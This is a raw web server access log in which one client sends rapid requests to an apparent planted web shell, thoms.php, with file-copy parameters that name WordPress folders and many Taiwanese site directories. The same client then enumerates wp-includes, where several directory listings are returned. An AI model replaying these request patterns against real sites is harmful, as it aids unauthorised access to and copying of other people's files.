45.135.193.11 - - [11/Sep/2026:23:58:01 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-settings.php&p=bfl.com.tw%2Fqueue-failed HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-settings.php&p=bfl.com.tw%2Fqueue-failed" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:01 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-settings.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-settings.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:01 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-settings.php&p=bfl.com.tw%2F.well-known HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-settings.php&p=bfl.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:01 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-settings.php&p=bfl.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-settings.php&p=bfl.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:01 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-settings.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-settings.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:01 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-settings.php&finish=1&p=bfl.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-settings.php&finish=1&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:01 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-settings.php&p=bfl.com.tw%2Flegacy-checkpoint HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-settings.php&p=bfl.com.tw%2Flegacy-checkpoint" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:01 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-settings.php&p=bfl.com.tw%2Fwp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-settings.php&p=bfl.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:01 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-settings.php&p=bfl.com.tw%2Fcgi-bin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-settings.php&p=bfl.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:01 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fupgrade&p=bestzyx.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fupgrade&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:01 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fupgrade&p=betcity.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fupgrade&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:01 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fupgrade&p=bfl.com-20260912023804 HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fupgrade&p=bfl.com-20260912023804" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:01 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fupgrade&p=ba-guo.com-20260912023525 HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fupgrade&p=ba-guo.com-20260912023525" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:01 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fupgrade&p=betcity.com-20260912023741 HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fupgrade&p=betcity.com-20260912023741" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:01 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fupgrade&p=big-wife.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fupgrade&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:01 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fupgrade&p=biotaiwan.com-20260912023713 HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fupgrade&p=biotaiwan.com-20260912023713" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:02 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fupgrade&p=upgrade-20260912023806 HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fupgrade&p=upgrade-20260912023806" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:02 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fupgrade&p=wordpress-6.6.2-zh_TW HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fupgrade&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:02 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fupgrade&p=wp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fupgrade&p=wp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:02 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fupgrade&p=wp-content-20260912023544 HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fupgrade&p=wp-content-20260912023544" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:02 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fupgrade&p=bestjudy.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fupgrade&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:02 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fupgrade&p=wordpress-6.6-20260912023539 HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fupgrade&p=wordpress-6.6-20260912023539" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:02 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fupgrade&p=cgi-bin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fupgrade&p=cgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:02 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fupgrade&p=beauty-dental.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fupgrade&p=beauty-dental.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:02 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fupgrade&p=bodbooks.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fupgrade&p=bodbooks.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:02 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fupgrade&p=bogroup.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fupgrade&p=bogroup.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:02 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fupgrade&p=upgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fupgrade&p=upgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:02 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fupgrade&p=beauty-dental.com-20260912023807 HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fupgrade&p=beauty-dental.com-20260912023807" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:02 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fupgrade&p=bft.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fupgrade&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:02 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fupgrade&p=bodbooks.com-20260912023809 HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fupgrade&p=bodbooks.com-20260912023809" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:02 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fupgrade&p=broadweb.com-20260912023716 HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fupgrade&p=broadweb.com-20260912023716" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:02 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fupgrade&finish=1&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fupgrade&finish=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:03 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fupgrade&p=biotaiwan.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fupgrade&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:03 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fupgrade&p=bossini.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fupgrade&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:03 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fupgrade&p=broadweb.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fupgrade&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:03 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fupgrade&p=bfl.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fupgrade&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:03 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fupgrade&p=besth2o.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fupgrade&p=besth2o.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:03 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fupgrade&p=booking-wise2.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fupgrade&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:03 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fupgrade&p=bioway88.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fupgrade&p=bioway88.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:03 -0400] "GET /bfl.com.tw/wp-includes/customize/ HTTP/1.1" 200 2236 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:03 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fupgrade&finish=1&move=1&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fupgrade&finish=1&move=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:03 -0400] "GET /bfl.com.tw/wp-includes/ID3/ HTTP/1.1" 200 1637 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:03 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fupgrade&p=ba-guo.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fupgrade&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:03 -0400] "GET /bfl.com.tw/wp-includes/class-wp-icons-registry.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:03 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fupgrade&p=besth2o.com-20260912023731 HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fupgrade&p=besth2o.com-20260912023731" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:03 -0400] "GET /bfl.com.tw/wp-includes/error_log HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:03 -0400] "GET /bfl.com.tw/wp-includes/blocks.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:03 -0400] "GET /bfl.com.tw/wp-includes/author-template.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:03 -0400] "GET /bfl.com.tw/wp-includes/class-wp-query.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:03 -0400] "GET /bfl.com.tw/wp-includes/class-wp-user-query.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:03 -0400] "GET /bfl.com.tw/wp-includes/ms-default-constants.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:03 -0400] "GET /bfl.com.tw/wp-includes/canonical.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:03 -0400] "GET /bfl.com.tw/wp-includes/images/ HTTP/1.1" 200 1900 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:03 -0400] "GET /bfl.com.tw/wp-includes/class-wp-comment.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:03 -0400] "GET /bfl.com.tw/wp-includes/class-wp-dependencies.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:03 -0400] "GET /bfl.com.tw/wp-includes/class-wp-http-ixr-client.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:03 -0400] "GET /bfl.com.tw/wp-includes/class-wp-http-streams.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:03 -0400] "GET /bfl.com.tw/wp-includes/class-wp-text-diff-renderer-inline.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:03 -0400] "GET /bfl.com.tw/wp-includes/compat-utf8.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:03 -0400] "GET /bfl.com.tw/wp-includes/class-wp-user-meta-session-tokens.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:03 -0400] "GET /bfl.com.tw/wp-includes/feed-rdf.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:03 -0400] "GET /bfl.com.tw/wp-includes/blocks/ HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:03 -0400] "GET /bfl.com.tw/wp-includes/style-engine/ HTTP/1.1" 200 906 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:03 -0400] "GET /bfl.com.tw/wp-includes/class-wp-customize-control.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:03 -0400] "GET /bfl.com.tw/wp-includes/comment.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:04 -0400] "GET /bfl.com.tw/wp-includes/fonts.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:04 -0400] "GET /bfl.com.tw/wp-includes/utf8.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:04 -0400] "GET /bfl.com.tw/wp-includes/bookmark.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:04 -0400] "GET /bfl.com.tw/wp-includes/block-patterns.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:04 -0400] "GET /bfl.com.tw/wp-includes/class-walker-nav-menu.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:04 -0400] "GET /bfl.com.tw/wp-includes/class-wp-text-diff-renderer-table.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:04 -0400] "GET /bfl.com.tw/wp-includes/revision.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:04 -0400] "GET /bfl.com.tw/wp-includes/spl-autoload-compat.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:04 -0400] "GET /bfl.com.tw/wp-includes/theme-previews.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:04 -0400] "GET /bfl.com.tw/wp-includes/abilities-api/ HTTP/1.1" 200 903 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:04 -0400] "GET /bfl.com.tw/wp-includes/certificates/ HTTP/1.1" 200 790 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:04 -0400] "GET /bfl.com.tw/wp-includes/interactivity-api/ HTTP/1.1" 200 936 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:04 -0400] "GET /bfl.com.tw/wp-includes/block-editor.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:04 -0400] "GET /bfl.com.tw/wp-includes/class-wp-image-editor-imagick.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:04 -0400] "GET /bfl.com.tw/wp-includes/ms-functions.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
